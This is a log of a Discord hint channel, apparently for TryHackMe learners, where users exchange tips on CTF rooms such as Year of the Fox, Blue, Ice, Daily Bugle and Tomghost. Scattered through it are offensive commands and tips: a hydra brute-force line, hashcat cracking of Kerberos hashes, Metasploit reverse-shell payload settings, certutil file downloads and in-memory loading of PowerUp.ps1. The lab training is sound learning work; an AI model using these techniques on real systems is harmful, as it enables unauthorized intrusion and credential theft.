#room-hints

1 messages Β· Page 36 of 1

foggy lotus
#

Intro to python, how to decode the flag file?

stuck fractal
#

The room suggests you read the docs for the Python base64 module

foggy lotus
#

do i need to write the code?

stuck fractal
#

Have you done that?

#

Yes you need to write code to do it

foggy lotus
#

i did..still can't come up with a correct code

stuck fractal
#

You need to write a whole program to do it.

#

It will be 3 loops

#

Each loop does a different decode

#

And you will use the base64 module, and 3 functions from that module

foggy lotus
#

i did three separate functions..

stuck fractal
#

Maybe you can do that. But you should really be using loops.

#

You don't need to define your own functions here

foggy lotus
#

gotcha thanks for helping!

ripe hedge
#

The order given is the order used to encode

foggy lotus
#

i decoded it by each line.. but i got error saying :

stuck fractal
#

There's only a single line

foggy lotus
stuck fractal
#

You need more than hints now

foggy lotus
#

ok

void cedar
#

Hello, i'm doing the Break Out The Cage room and i have managed to find the ||hidden message in the audio file using the spectrogram|| but can't actually ||see what it says||, can anyone help me?

stuck fractal
#

scroll

void cedar
#

I have, but still can't ||make out the last 3 letters||

#

||nameless***||

stuck fractal
#

Should be able to scroll along

void cedar
#

i'm not entirely sure what you mean, can i dm you an image?

stuck fractal
#

I have DMs off

void cedar
#

is there a way i can put it in this channel without spoiling it for anyone?

thick rampart
#

I don't remember an audio component to Break out of the Cage....

stuck fractal
#

There is.

thick rampart
#

Odd

stuck fractal
#

@void cedar Will turn DMs on.

#

DM

void cedar
#

Thank you

stoic citrus
#

In the burpsuite room the #5 in the decoder and comparer.
" What can we load into Comparer to see differences in what various user roles can access? This is very useful to check for access control issues."

Not really sure what it is asking for here.

stoic citrus
#

sigh.. figured it out.

exotic rose
#

On PS Empire room, trying to get the .bat listener onto the windows machine. Dunno why we set the listener to port 80 because now it’s in use and I can’t set a python http server so I could use certutil to download it

#

I could just use a meterpreter reverse shell and use download commands, but that feels cheat. Is there another way?

oblique cliff
#

That’s not cheating. You could just set up a server on a different port and then download from that instead. You have 65000~ ports to choose from to do that kinda uploading/downloading thing πŸ™‚ @exotic rose

stuck fractal
#

65535 to be precise

oblique cliff
#

65534 if one is already taken πŸ‘€

exotic rose
#

Hmm I tried hosting a python -m SimpleHTTPServer 5555 in my tmp directory with the file in it

#

Said the urlcache command failed

#

Any thoughts?

patent token
#

certutil.exe

#

See if that helps

exotic rose
#

Did not work

#

You think port 5555 is blocked?

stuck fractal
#

When you get an error, screenshot the error if you want help with it

exotic rose
#

Also tried with just certutil

stuck fractal
#

a connection with the server could not be established that sounds like network issues to me

#

Your IP being your VPN IP?

exotic rose
#

Yup

#

Wait...

#

I missed a numberπŸ˜‚πŸ˜‚πŸ˜‚

#

It works πŸ˜‚

#

Thank you haha

stuck fractal
#

nice

regal comet
#

Any pointers on command injection for yotf?

regal comet
#

@stuck fractal ?

stuck fractal
#

@regal comet Boi.

#

Don't just ping me because you need help

#

If I could help you, and if I wanted to help you, I would have

regal comet
#

I was under the impression this is a teaching place

stuck fractal
#

Yeah

regal comet
#

I guess paying for this service means nothing here

stuck fractal
#

That doesn't mean I've done every box

#

I don't get paid to help you

#

Hell, I don't get paid to do anything other than make boxes

regal comet
#

not you, me. paying to be a sub

stuck fractal
#

I can't give you a hint if I don't know one.

regal comet
#

but that's all you got to say

stuck fractal
#

Being a sub doesn't mean you can get hints for a box that very few people have done, where the creator has given very few hints

#

The hints don't exist.

#

You can't have something that doesn't exist.

regal comet
#

would be nice to hear that instead of being ignored.

#

not asking for anything more

stuck fractal
#

I mean, it wouldn't have contributed. At all.

#

Doesn't contribute = no reason to answer.

inland onyx
#

I guess paying for this service means nothing here
@regal comet correct. It's a community discord. Subbing means stuff on the site -- and it means you have a couple of extra channels in the discord, but otherwise it's not worth anything in the community πŸ™‚

stuck fractal
#

Someone else might want to give you a hint

inland onyx
#

And yeah, this is a volunteer job for us. There is no obligation to help, and in the end, there are 17 people who could help with that box, out of 900 in the room

#

Most of them aren't here πŸ€·β€β™‚οΈ

regal comet
#

I am not upset for not getting help. I am annoyed that I am being ignored. that's all.

#

but its all good

inland onyx
#

Wonderful. In that case I'm going back to sleep πŸ˜„

analog fiber
#

hi there

#

anyone able to help me with the room attacking kerberos?

#

for task 4 i am using the password list provided to crack the hash but it seems that the hash is not in the password list

oblique cliff
#

If it says it is, it is. Your syntax is most assuredly incorrect

analog fiber
#

i am pretty sure it is correct

#

the syntax was just copied from the tutorial

#

this was given in the challenge

#

hashcat -m 13100 -a 0 hash.txt Pass.txt

#

i just followed it

patent token
#

I used John for that to be honest.

#

But that's because I don't have a GPU on this machine.

analog fiber
#

i dont have GPU as well

#

but the password list is small enough

#

like 1200 lines

patent token
#

Just use John.

#

Β―_(ツ)_/Β―

analog fiber
#

alright gonna try that

solemn smelt
#

did you properly format your hash Rubeus is weird and doesn’t like to output hashes that hashcat likes

patent token
#

I forgot about that part. I remember having to delete all that white space from each line because of it.

analog fiber
#

thanks mayor

#

john worked fine

#

i was using impacket

#

so the hash format was normal

#

unlike with rubeus

lean rover
#

anyone able to advise real quick on YOTF? ||is the command to bruteforce hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -f -I -V -t 64 10.10.141.224 http-get / ||mainly wondering if the syntax is right..... it goes blindingly fast (obv because i put 64 threads) but not sure if i am doing this right

stuck fractal
#

I mean. If you get the right username, that might give you a password

lean rover
#

okay, thank you. will try harder

wraith fulcrum
#

@inland onyx can I DM quick?

inland onyx
#

@wraith fulcrum what for?
(Thanks for asking btw πŸ™‚)

velvet wharf
#

Hi everyone, can I have some help on poloprivescfinal

#

Task 6.2... It's looking for a keyword but I don't know what it wants

wraith fulcrum
#

@wraith fulcrum what for?
(Thanks for asking btw πŸ™‚)
@inland onyx sudo related

#

pwfeedback

inland onyx
#

Uh...
I mean, if it's asking for help with something then doing it here is fine, otherwise sure πŸ™‚

velvet wharf
#

6.2 Having read the information above, what direction privilege escalation is this attack? (8 letters)

spiral stag
#

have you done all the previous tasks?

ripe hedge
#

the answer is in the long block of text πŸ˜›

indigo ridge
#

can someone please tell me how do I connect smb .. in yotf.. I got the username and password.. I am using smbclient but I can't

mild eagle
#

@indigo ridge you also need a share ..

median compass
#

can you show the command you're entering that's not working @indigo ridge? If we can see it we can help better

radiant violet
#

for yotf i managed to decode both files and got some kind of hash but cant cracked is it a rabbit hole ?

median compass
#

let's just say that I wish i hadn't spent as much time as I did on them @radiant violet πŸ™‚

echo thunder
#

is the password for the f** user changed ?

#

in Year of the Fox

#

?

indigo ridge
#

can you show the command you're entering that's not working @indigo ridge? If we can see it we can help better
@median compass smbclient -L \\ip\yotf -U fox

median compass
#

your slashes are backwards @indigo ridge

indigo ridge
#

I searched it on google.. is this for windows?

median compass
#

yes @echo thunder every time you reset the box the passwords change, at least some of them

echo thunder
#

ok

median compass
#

probably @indigo ridge I only use it on linux, on linux it's / not \

#

i assume your attack box is linux?

indigo ridge
#

yes kali

median compass
#

oh, hang on, you also are mixing up two commands

#

smbclient -L is to list all shares, then you can't give it the /yotf part as that's a share

#

if you just want to login then leave out the -L

indigo ridge
#

ohhh.. that's why It only lists the shares yotf and $ipc

#

is this correct
smbclient ////10.10.106.80//yotf -U fox

median compass
#

i would have thought that just smbclient //10.10.106.80/yotf -U fox would work

indigo ridge
#

I entered this.. It asked for password..
smbclient //10.10.106.80//yotf -U fox
tree connect failed: NT_STATUS_BAD_NETWORK_NAME

median compass
#

you have // before yotf

indigo ridge
#

thankyou very much brother..

you have // before yotf
@median compass it worked

median compass
#

happy hunting

indigo ridge
#

I am connected now

#

🀩

jade plover
#

whatup ppl?!
somebody familiar with the "Advent of Cyber" room/Hackivity?
I'm kind of struggling with Task 6 (#3)
any hint (or help) would be great.
BTW I'm new at TryHackMe ..
thanks in advance

indigo ridge
#

whatup ppl?!
somebody familiar with the "Advent of Cyber" room/Hackivity?
I'm kind of struggling with Task 6 (#3)
any hint (or help) would be great.
BTW I'm new at TryHackMe ..
thanks in advance
@jade plover have you decoded the cookies?

#

notice the decoded cookies it has some pattern

jade plover
#

thnks for reply... I did

indigo ridge
#

what did you get?

jade plover
#

fixed part of cookie is:
v4er9ll1!ss

indigo ridge
#

if you found the pattern then it is same for every user.. try to create the cookie for admin

#

fixed part of cookie is:
v4er9ll1!ss
@jade plover yep fixed part is this.. you have to decode it.. use burp suite or try to find the encoding.. I suggest use burpsuite

cold tulip
#

help blue room

jade plover
#

using Burp or without?

cold tulip
#

its showing error cant handle

#

using Burp or without?
@jade plover with burp

#

help blue roo,

#

help blue room

indigo ridge
#

help blue room
@cold tulip whats the error?

cold tulip
#

its showing cant handle while exploit

jade plover
#

@indigo ridge Thnx man πŸ˜‰

indigo ridge
#

its showing cant handle while exploit
@cold tulip I suggest you try it 2-4 times

#

its just straight forward exploit

cold tulip
#

wait

#

help with rhosts

#

what we have to do

indigo ridge
#

set the remote host.. means your room's ip address

cold tulip
#

the error is its running session -u 1

#

help with 3

median compass
#

@cold tulip you're really not making it easy to help you, try sending a picture of what you're doing and explaining clearly what's going wrong

cold tulip
#

ok

#

help with 3 what we have to do in 3

median compass
#

you mean Task 3 in room Blue then?

indigo ridge
#

ok
@cold tulip I think you are having problem with metasploit.. I would suggest you should complete the metasploit room first

cold tulip
median compass
#

ok, so you type options and you see a SESSION option
then you type SESSIONS and you should see your sessions listed, you probably just have 1, it's probably number 1, but it could be another number if you've tried a few times
then you do set session 1

velvet wharf
#

the answer is in the long block of text πŸ˜›
@ripe hedge I got it now, thanks!

velvet wharf
#

Can I also get a little help on this one. I found 2 hidden directories and cracked a hash. I'm stuck on finding an email address to log in with

indigo ridge
#

there is no email

#

u just need username

velvet wharf
#

got it!

#

thanks

marble badge
#

hey guys

velvet wharf
#

"There is no spoon..."

#

@indigo ridge so wise.

#

Hi God

indigo ridge
#

@indigo ridge so wise.
@velvet wharf ??

echo thunder
#

anyone completed the yotf room

#

?

ripe hedge
#

a few have, but I doubt that they're talking much πŸ™‚

patent token
#

It was like less than 20 people or something last night.

ripe hedge
#

it's a hard room

echo thunder
#

can anyone give me a hint on how to find the web user for yotf?

oblique cliff
#

As they answered you right above only some 17 people have completed the room and they’re probably not gonna give out hints

ripe hedge
#

enumerate harder I guess?

mild eagle
#

In yotf room I got the web user and can ||upload/download files to the server. Ping my own machine|| but any hints pointers as to get a bit further ?

little summit
#

need a hint in the "rp: burp suite" room, task 10, can't seem to find any request that gives me a "set-cookie" header

ripe hedge
#

it's a response that sets cookies

#

@mild eagle sounds like a job for a reverse shell...

#

I haven't gotten that far yet 😦

mild eagle
#

@ripe hedge tnx Also the path I was heading down but not that easy !

ripe hedge
#

I have a web user...and not much else

echo thunder
#

is the hash in the c*****.txt encoded multiple times

#

?

indigo ridge
#

is the hash in the c*****.txt encoded multiple times
@echo thunder yep

echo thunder
#

ok thanks

#

can I PM you

#

I want to ask you something

indigo ridge
#

it won't help i havnt completed anything in it

#

but you can pm me

ripe hedge
#

haha

#

I haven't gotten quite that far yet

indigo ridge
#

just smb..and lurking to get http user pass.

ripe hedge
#

I got a user

indigo ridge
#

thats great..

edgy gorge
#

any hints for Offline KOTH

stray mortar
#

Hi, I doing the CTF daily bugle and I have a shell on the machine, now I have found the file where the password stored under Webserver path but I can't SSH to the machine with this password, can someone help me?

solemn smelt
#

I haven’t done that machine in a while but that doesn’t sound like the correct path to me

echo thunder
#

anyone decrypt the text inside the two txt files on yotf?

stuck fractal
#

Nope

echo thunder
#

can you please ping me?I have a question regarding encryption

stuck fractal
#

Literally no one has

#

Because you can't

#

Because a) Not encrypted

echo thunder
#

it is a ||base32|| text

stuck fractal
#

I mean

#

It's not encrypted

#

Nothing about it is encrypted

#

Even once you decode, still not encrypted

echo thunder
#

first time is like that

#

than it gives me another time

stuck fractal
#

wat

echo thunder
#

the text from the files

stuck fractal
#

They are sha256 hashes

#

have fun

echo thunder
#

it is first ||base32|| and than ||sha256||

indigo ridge
#

πŸ˜‚

have fun
@stuck fractal

#

it is first ||base32|| and than ||sha256||
@echo thunder this won't get you anywhere

median compass
#

Muir told us about the creds files in yotf, they are /dev/urandom|sha256|base32, just meaningless noise

#

forgot the SHA256 part πŸ™‚

#

that was days of my life btw, horror show those redherrings!

echo thunder
#

@median compass did you finish the room

#

?

median compass
#

yes, finally

echo thunder
#

can I PM you

#

?

median compass
#

i imagine if there was 17 people that did it then i'm the 17th lol

echo thunder
#

regarding the yotf

#

?

median compass
#

sure

rocky forge
#

Help in authentication-2 jwt

cold tulip
#

help flag2 in blue

#

please

median compass
#

same feedback as the last time @cold tulip, when you don't show us what you're doing or what you're stuck on it's hard to give help

inland onyx
#

i imagine if there was 17 people that did it then i'm the 17th lol
@median compass 15 (16 now). Plus Pars, testing it, and me, making it

median compass
#

coolguy well that's top-20 Muir, I'll take it πŸ™‚

stuck fractal
#

@cold tulip Don't show flags.

cold tulip
#

oh

#

okay

#

but help

stuck fractal
#

Do you know where the flag should be?

#

Read the hint on the room. Where does windows store passwords (as a file)?

cold tulip
#

no

#

no

#

no

stuck fractal
#

@cold tulip Well, I recommend doing some research and finding that information.

keen willow
#

my system is trying hard to crack hash from Daily Bugle but getting hot and nothing else, any known issue or i should choose any not-so-famous wordfile.

stuck fractal
#

rockyou will do it

#

It takes time

keen willow
#

thanks @stuck fractal oh, i am missing my graphic card then.

stuck fractal
#

Bcrypt doesn't care about GPUs

keen willow
#

Bcrypt doesn't care about GPUs
@stuck fractal cool to know again thx. looks like i need to retouch GPUs contribution in calculations. Any reference you wanna share.

stuck fractal
#

Bcrypt is just designed to not care about GPUs

#

The speed is about the same

radiant violet
#

that 2 js files are pain in the arse

cold tulip
#

dude no file

#

in config

stuck fractal
#

wat

#

You probably just don't have permissions to view it

#

migrate to a system process

cold tulip
#

oh

#

ok

cold tulip
#

failed

#

?

delicate plaza
#

I have problem with escalating privs to administrator on Retro. I know which exploit use but im stuck on last step. I tried few thigs to fix it but they doesnt work

solemn smelt
#

that priv esc is intended to be hard

stuck fractal
obtuse osprey
#

hey guys, just wondering if there's a directory in windows where you can download a file without getting errors like 'Access Denied' because i have no write permissions. So like in linux i could download a file to /dev/shm and get no errors?

stuck fractal
#

google windows world writeable dir

obtuse osprey
#

ok thanks didn't know exactly how to word that

obtuse osprey
#

hey @stuck fractal so after trying to download the PowerUp.ps1 file to Useraccount\APPDATA\Local\Temp i still get access denied

#

i'll post some screenshots

stuck fractal
#

Try a different directory

#

And just because I helped you once, doesn't mean you need to tag me the next few times

obtuse osprey
stuck fractal
#

So

#

Try a different directory

obtuse osprey
#

ok sorry about that

stuck fractal
#

There's one that's pretty much always writeable by everyone

obtuse osprey
#

Public?

stuck fractal
#

I found one in a single google search

obtuse osprey
#

i'll just keep looking, sorry for tagging

#

could you tell me what you typed in on google ?

#

i seriously can't find anything

stuck fractal
#

Normally C:\Windows\Temp

obtuse osprey
#

i got access to this path is denied?

stuck fractal
#

Eh, look in more places

#

What box?

#

you're probably told where

#

Corp? pretty sure you're told

obtuse osprey
#

the room is Corp Task 4

stuck fractal
#

We will run PowerUp.ps1 for the enumeration.

Lets load PowerUp1.ps1 into memory.

#

Into memory

#

Not onto disk

obtuse osprey
#

but don't i need to download the file first?

#

or is it already in windows?

stuck fractal
#

You're loading it into memory

#

Not onto disk

#

You don't touch the disk

eternal brook
stuck fractal
#

@eternal brook Try harder

#

They're there

#

You need to find the 2019.4 image

eternal brook
stuck fractal
#

I mean

#

That seems unrelated

eternal brook
#

but it does not match

stuck fractal
#

Like totally unrelated

#

Find the official kali 2019 ISO download

obtuse osprey
#

BTW i realised what i'd done cheers as always πŸ‘

#

again im quite newbie when it comes to windows

delicate plaza
#

The worst in Retro is that i have setup thing and when i wanna open other thigs it starts via thing which i setup for it but in eop it still dont want to ._.

eternal brook
stuck fractal
#

@eternal brook You can find it

#

You need to do research

eternal brook
stuck fractal
#

It's not directly on the page

eternal brook
#

hmm ok

stuck fractal
#

It comes under rule 13

#

I made sure of that

eternal brook
#

okay i'll try searching more thanks

lone abyss
#

I have a question for y'all, what do you guys tend to look for after finding an LFI vulnerability?

stuck fractal
#

Unless that's for a specific THM room, wrong chat

lone abyss
#

nunu

#

it's not for a room, it's for a hint in general

stuck fractal
#

If it's not for a hint for a THM room, it doesn't go here.

#

For those who want only hints on rooms

lone abyss
#

ok

delicate plaza
#

Can i dm someone who pwn Retro with question if im doing box right ?

wraith fulcrum
#

@delicate plaza can I dm u?

delicate plaza
#

yup

#

I just wanna be sure if im doing something wrong or if machine is broken πŸ˜„

#

Or just screen to confirm if something should appear or not

robust nymph
#

So I think I found the way to root before the way to ||jjameson|| on Daily Bugle lol, I did see ||/var/www/html/libraries/joomla/http/transport/cacert.pem|| through linpeas, but having trouble finding out ways to exploit it. Any tips on moving from ||apache|| to ||jjameson||?

oblique cliff
#

Look around for possibly some || plaintext credentials || πŸ™‚

#

@robust nymph also look closer at your ||linpeas output|| and I think you may find something interesting

robust nymph
#

I'll definitely do some digging and get back to you, thanks!

#

Ahh shows that I need to look at my ||linpeas scans|| more in depth, very well hidden in there. Thanks again for the tip!

oblique cliff
#

any time

robust nymph
#

And sure enough the way I found to root worked as soon as I pivot over, Very awesome box!

patent token
#

Daily Bugle is one of my personal faves.

stuck fractal
#

I have a single problem with it

white salmon
#

Hello guys, I just have a quick question about skynet, I'm new and I wouldn't want to start spitting spoilers even though there's a walkthrough. Would anyone be able to help me?

patent token
#

Hi Princess. Best bet is to ask for a hint specifically. You can include what you're currently stuck on, and what you've tried unsuccessfully.

#

If there is anything we consider a spoiler we can ask you to remove, or have it removed if needed. πŸ™‚

white salmon
#

ok! this is for the oscp room, I found the directory for "My dyson" and connected to it, but when I do an ls I do not find anything about his wife or content management

#

just a whole bunch of pdf info

patent token
#

So if I remember correctly there are a few different directories there to go through.

#

||download them to your Kali machine to go through them easier||

#

I would also check the other shares.

sick coyote
#

For yotf room. I found the web user. Maybe someone is able to give me a hint on the box. || I am not sure how to execute commands in the form I found. I tried injecting the POST request using Burp, but I am not able to execute commands or perform LFI.. ||

white salmon
#

ok, I read the l*gs and already logged into smb and Mr dyson

patent token
#

Ok, but you have what you need from the logs. Don't get bogged down in the shares too much. Go back and scan/enumerate some more to find additional services you may be able to take advantage of.

#

If you have access to Miles share, that's the other half of the challenge.

#

Now put together what you found in the ||anonymous share and in Miles' share||.

craggy owl
#

I so need a hint please with a linux challenge. [Task] #10 . part 3 regarding split. i do not understand and from the hint that was suggested i can use sed and i just dont see how that is possible?

oblique cliff
#

@craggy owl the man page for sed or google is your friend here for what you need

white salmon
#

that's the thing, miles share only has titles of pdfs

#

I know that if I say more it's going to sound as a spoiler and I could get banned

oblique cliff
#

@white salmon I don’t believe that’s the case. Enumerate harder

white salmon
#

😦

oblique cliff
#

You can put || on both sides to censor your text

#

|| spoil me ||

white salmon
#

I'm such a noob

oblique cliff
#

Example ^

white salmon
#

||y'all are awesome||

oblique cliff
#

We all started there at some point no worries

stuck fractal
#

@white salmon Just don't post answers/flags directly.

#

We don't enforce spoilers other than "Be a decent human"

white salmon
#

Does anyone remember what smb enuumeration cheat sheets they used? obgviously I'm googling wrong! and I'd like to be able to find the answer myself 😦

stuck fractal
#

Cheat sheets I haven't seen

#

Tools, I have

white salmon
#

||so obviously I've done smbclient \\10.10.58.81\milesdyon with the pass I fouund in squirrelmail||

#

and then ||smbclient -W WORKGROUP -U milesdyson //10.10.58.81/milesdyson ||

#

and I get access!

#

but I do not know how to enumerate more from there 😦

stuck fractal
#

Look around?

#

Try the password on a different service?

craggy owl
#

i so need a mentor if one can help me. i just want to learn and have a passion again to code and i want to keep it going... sorry if this is the wrong room im just asking for help in learning..

stuck fractal
#

This is the wrong chat.

#

And that's not what the community mentors are for.

craggy owl
#

sorry where should i send this to?

#

oh .. sorry i thought it was for that

stuck fractal
#

Mentors offer specific help with rooms or the VPN.

craggy owl
#

yes i have a questino about a room

stuck fractal
craggy owl
#

okay.. i have been there but seem not to get help but i am still all new and will figure it out

#

sorry

white salmon
#

||I'm really sorry, it's just that it has already been 3 days and there is a part that says "let's log into Miles share" and even though I'm already logged in with username and password, I cannot get it to match what the walkthrough says||

stuck fractal
#

head to #room-help and show a screenshot of the share

white salmon
#

@white salmon, it's very annoying when you're trying to solve a hacktivity and you find out the problem is not your skill, it's a bug in the room.

stuck fractal
#

This wasn't an issue with the room in this case

white salmon
#

No, this was me being stupid :/

#

I was getting the letters N and D confused

#

Which room are you doing?

stuck fractal
#

It's solved, but Skynet

white salmon
#

Ah, okay, just wondering.

#

I'm trying to do the room Agent-Sudo and it's asking me for a zip file password in task 3 question 2. But I can't find it in the FTP service.

#

I can only see a .txt, jpg and png.

stuck fractal
#

Hmm, what about hiding files in images?

#

(I might be wrong, it's been a while)

white salmon
#

I have used Stegcracker on cute-allen.jpg but that didn't give me a password.

stuck fractal
#

I mean, have you tried something like stegoveritas to see if there is even anything there?

white salmon
#

Would steghide suffice?

stuck fractal
#

Stegoveritas detects steghide, that's the goal

#

It does a bunch of steg detection and extraction techiques

tribal hearth
#

Hey, I am going through BP Networking and I'm having a very difficult time finding the answer to
A third predominant address type is typically reserved for the router, what is the name of this address type?
I've tried numerous answers but I can't seem to find any information, can someone point me in the right direction?

stuck fractal
#

ipconfig in windows will tell you it

tribal hearth
#

Oh I don't have a Windows machine

#

I'll try it in wine

#

Ok nvm I'm dumb, thank you!

oblique cliff
#

You’re not dumb

tribal hearth
#

yeee I knew it once I saw it, just couldn't think of the word lol

white salmon
#

I just extracted cutie.png with stegovertias but nothing of interest in there.

#

Don't worry. I'm really stupid.

#

-.-

oblique cliff
#

You’re not

mortal thorn
#

Hey guys, I hope you can help me. i'm stuck to the answer in CC: Pen Testing: Task8 #7 What option sets the architecture to be exploited? It's 4 characters and I'm a bit confused, 'cause i tried everything.

rocky mist
#

hi!
i'm stuck for a long time in linux challanges flag 26 (
Find flag 26 by searching all files for a string that starts with 4bceb and is 32 characters long).
I tried to do all kinds of command variations and nobody worked for me .. For example:
||grep -x '. \ {32 }' / * -R -s 'Permission denied' -i '4bceb'||
I would love for hint to tell me what I'm doing wrong, thank you!

velvet wharf
copper gate
#

Hi Guys,
Anyone has an idea on the Network Services room Task 4 #8
I already have the id_rsa, where do I need to pass it? Been stuck for a while.

velvet wharf
#

For ICE, MS17-010 looks promising but, it can't find a pipe using both py and msf exploits

#

The recommended Icecast msf module doesn't work off the bat. A listener is created but nothing connects back

spiral stag
#

@velvet wharf task #3 question 2?

#

you need to enter a cve there

#

that works

velvet wharf
#

Task 7 Q 7

spiral stag
#

they link you the exploit-db

#

i don't think ice is about ms17-010 at all

velvet wharf
#

I was just trying other angles

spiral stag
#

ah ok

velvet wharf
#

they are talking about the icecast msf module but i cant get that to work

spiral stag
#

im doing that one right now

#

and have teh icecast one woking

velvet wharf
#

am I missing something? use exploit/windows/http/icecast_header
set LHOSTS x.x.x.x
set RHOSTS x.x.x.x
exploit

#

Started HTTPS reverse handler on https://10.8xxxxx
[*] Exploit completed, but no session was created.

spiral stag
#

i changed the payload

#

that one is buggy for me aswell

velvet wharf
#

let me try

#

ah OH, that works

#

just used a win shel rev

#

thank yo

spiral stag
#

you might wanna try the windows/meterpreter/reverse_tcp

#

np

#

gl!

velvet wharf
#

i can upgrade from in the shell

#

I'll try that too

#

i have a gcc question too. I tried doing it without MSF and I downloaded 573.c ant then ran
gcc -o 573 573.c
chmod +x 573
./573

#

and it says:
Failed to execute process './573'. Reason:
exec: Permission denied

#

have you seen that before? Also I'm using fish. Not sure if that makes a difference

spiral stag
#

no clue

velvet wharf
#

Ok, I'll mess with it later. Thanks for the help

oblique cliff
#

Is that the way you’re supposed to compile it? Read the exploit it might not be

spiral stag
#

it is

#

the payload sucks tho

#

😠

oblique cliff
#

Interesting

spiral stag
#

been trying to generate my own with msfvenom

#

but none will stick

mild eagle
#

Yotf Got access revershell and did some enumeration and found something interesting but need a hint to exploit after I got a reverse shell. Lets say || there is a difference in local ports and public ports||

median compass
#

sounds like you're on the right track @mild eagle

#

what would you do to a port ||if you could see it from your attack box?|| then think about how to do that in your case

mild eagle
#

@median compass yes i just dont know || how to proxy that port to my attack machine - my Google fu is weak today||

median compass
#

you could look at ||socat|| or perhaps ||upgrade your shell to meterpreter and look at the options baked into that||

oblique cliff
#

||i just wanted to join ||in ||on the spoiling fun|| πŸ‘€

mild eagle
#

@median compass tnx Think that will get me a bit further

prisma bronze
#

I also got access to that port but still dont know what to do with it cri

mild eagle
#

@median compass || could it be something with portfwd been struggling to "the do the thing" once I've used that cmd||

mild eagle
#

@prisma bronze yotf ??

halcyon pumice
#

Hi can anyone guide me in the BP Networking room. I'm stuck only 1 question in the entire room.

#

"Of these addresses two are reserved, what is the first addresses typically reserved as?"

oblique cliff
#

@halcyon pumice research what the 2 reserved IP addresses are in a network

halcyon pumice
#

solved it

#

thanks!

past night
#

don't spoil the answers @halcyon pumice

oblique cliff
#

hint on tomghost? I ||rerouted the tomcat server (on port 8009) so that i can log in locally, but its not default credentials (that I can find)|| is that the right port to try to exploit or should I try ||port 53||?

past night
#

what are usually some default credentials @oblique cliff

oblique cliff
#

^

#

it only prompts me for a password though

past night
#

there is a specific exploit you need to use for it

#

it's in the room header, or whatever is called

oblique cliff
#

thanks πŸ˜„

past night
#

no problemo

#

@ me if you get stuck again

#

it gets a littleharder after the foothold but should be manageable

oblique cliff
#

gotcha, turns out thats the exploit i was trying i just couldnt get it working, ill #tryharder

#

but i have to eat dinner now so may @ you in awhile

past night
#

^^

#

you're missing something most likely

oblique cliff
#

alrighty i tri hard first

past night
#

go

oblique cliff
#

@past night im an absolute moron

#

the reason it was giving me only an option to give a password is cuz it was asking for my kali password to get permission to start a service lol

#

but it was right other than that stupidity

past night
#

slowclap

stuck fractal
#

We all make mistakes, don't beat yourself up over it

oblique cliff
#

its ok im tough enough to fight back coolguy

past night
#

well, as i usually say 'I am the mortal instrument of my own death'

oblique cliff
#

excuse me mr mortal instrument of your own death @past night , but the ||usual tomcat default credentials dont work and those have never failed me for tomcat|| so i am both disheartened and lost

patent token
#

Is this ghostcat?

#

Oh Tomghost.

#

Same thing.

#

What have you tried so far Bob?

#

@oblique cliff

oblique cliff
#

I've tried the usual ||tomcat default creds list|| but that didnt work, so i tried brute forcing with rockyou with username ||admin|| but nothing after 5 minutes so i stopped that one

patent token
#

Tomghost isn't a typical Apache site.

#

Tomcat*

oblique cliff
#

and then I found exploit ||48143|| but i cant get it to work

patent token
#

Ok, so you found the CVE

oblique cliff
#

yea, unable to get it to work unfortunately

patent token
#

How did you attempt to run it?

oblique cliff
#

maybe i should run it ||against the remote machine|| ill try that

patent token
#

Not sure why you went to that length.

#

What's your machine IP?

#

Like the THM

oblique cliff
#

10.9.1...

patent token
oblique cliff
#

but i can access tomcat on localhost rn cuz i set it up that way

patent token
#

Try it my way and see what you get. πŸ™‚

oblique cliff
#

😒

#

sadness

#

thank you

patent token
#

Also, the vulnerable service isn't actually on port 80. You're looking at the ||ajp|| service, which is on 8009.

oblique cliff
#

right, but I ||was forwarding it to my local machine on my port 80||

patent token
#

This isn't an exploit that is like that. It's mostly a file read vulnerability.

oblique cliff
#

because I was ||forwarding it|| or whatever it is im actually doing with the service I thought that ||i would have to exploit it through my machine|| hence using ||that IP|| when doing that

patent token
#

It's more of a file content disclosure vulnerability. Maybe there is a way to exploit it like that, but I'm personally not aware of one. And in the case of this machine, they are looking very specifically for the output that comes from that exploit being run correctly.

oblique cliff
#

I get that, but I thought the exploit was going to take advantage of tomcat, which is either being run on the remote machine port 8009, or my machine port 80

#

i guess i overthought it

#

but anyway, thanks ^^

#

wait so did I not have to set up this forwarding at all?

patent token
#

Not really. It's exploiting the Jserv service, not Tomcat.

#

No forwarding necessary.

oblique cliff
#

oh thats actually kinda funny, cuz ive been brute forcing this since i set it up to forward to me, so i thought thats what i was supposed to be doing haha

patent token
#

Not in this case. But that's interesting thinking.

oblique cliff
#

damn, went down an unintentional rabbit hole πŸ˜†

past night
#

have a djkhaled for yourself @oblique cliff

oblique cliff
#

brutal

past night
#

i use any occasion i can find for this gif

#

i'm sorry it had to be you this time

oblique cliff
#

its ok i deserved it

oblique cliff
#

alright back at it, still fumbling around as user... i assume I need to find ||a password somewhere to decrypt this pgp file||, but hunting around couldnt find anything. Hints on where to look if thats right and if not then what to do otherwise?

#

still tomghost^

patent token
#

Sure. Check the ||skyfuck directory||

#

Oh dur. Need to read better.

#

||gpg2john||

#

There @oblique cliff proper hint.

oblique cliff
#

didnt even know that tool existed, I'm so behind the cryptography times

patent token
#

||use the correct file||

oblique cliff
#

just so i feel better about myself i feel the need to say i did use the correct file without being prompted πŸ‘€

#

got root, thanks for the help mayor!!

#

and thanks for the wonderful motivational speeches @past night

#

question mayor, for something like that where I had never heard of that tool gpg2john, is there something you do to discover new tools for the appropriate situation? or is that just experience?

patent token
#

Think I was probably as stuck as you were and looked at the guide. No way to know what you’re seeing if you don’t know what it is or how to use it.

oblique cliff
#

makes sense

#

thanks senor mayor. As always, you got my vote πŸ˜‰

patent token
#

thanks!

exotic rose
#

For PS Empire stagers, what’s the difference between the BindIP and the Host? My stager works when I set both of these with my host ip, but not with just Host set

white salmon
#

For network services room, telnet section, is the telnet port closed on purpose?

patent token
#

Hi Jyuken. No need to ask in different channels. When someone who sees your question can answer it, they will. The community is super helpful. πŸ™‚

#

In this case, looks like you should review the room instructions. Looks like you need a port other than the typical one.

white salmon
#

@patent token so even though the section is all about telnet, it may be a different port?

patent token
#

You aren't required to keep a service on it's common port.

#

It's actually common for network and system administrators to use obscure ports for services.

#

Quite common, in fact.

white salmon
#

Oh yes understood

#

Thank you

patent token
#

You're welcome. πŸ™‚

mild eagle
#

Maybe a stupid question but when running a portfwd from meterpreter session do the remote port need to be exposed to the outside??

keen willow
#

i am trying to get into jack so i decided to rock with jack on a xmlrpc stage. Am i going right ?

